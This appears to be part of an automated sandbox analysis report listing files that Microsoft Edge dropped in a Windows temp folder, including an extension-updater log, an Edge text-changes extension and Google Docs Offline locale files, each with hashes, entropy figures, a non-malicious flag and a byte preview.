Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.404320842189025
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrV:8e2Fa116uCntc5toYXi7M
MD5:	09DAD3B7AF37D76917BFB4FEC7F892B1
SHA1:	F3523754A60827E32DF45E57FEAB3EEC9E97C4E6
SHA-256:	A6DF7B51F9CA6AAC1CBA87CBECD25F354987711ECE0282FF6766F3360497AE9F
SHA-512:	E74714C1147428FCB6359D41988AD3AFF1D3323A0A4C7516929FE4973A70A27AF67D93F2F020998FDF929098E44CE593487D3CE333A9C083A0F5ABAAECBD42DF
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\f3b82400-73fb-4d85-a8d1-c0c8e3608b83.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\scoped_dir7360_1437759476\99044f99-760e-4068-adfc-06620bdeec40.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7360_1437759476\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7360_1437759476\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7360_1437759476\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7360_1437759476\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7360_199799510\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
